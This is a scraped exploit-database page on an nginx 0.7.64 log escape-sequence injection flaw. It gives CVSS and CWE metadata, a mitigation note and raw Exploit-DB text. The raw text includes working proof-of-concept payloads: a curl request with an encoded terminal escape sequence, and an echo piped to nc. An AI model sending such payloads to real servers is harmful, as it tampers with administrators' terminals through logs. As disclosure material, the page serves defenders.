Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Command Injection Vulnerability in nginx - exploit.company
header-logo
Suggest Exploit
vendor:
nginx
by:
Unknown
7.5
CVSS
HIGH
Command Injection
78
CWE
Product Name: nginx
Affected Version From: 0.7.64
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Command Injection Vulnerability in nginx

The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files. Attackers can exploit this issue to execute arbitrary commands in a terminal.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input and validate it before using it in log files. Additionally, keeping the 'nginx' program up to date with the latest security patches can help prevent exploitation of this vulnerability.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/37711/info

The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects nginx 0.7.64; other versions may also be affected.

The following examples are available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload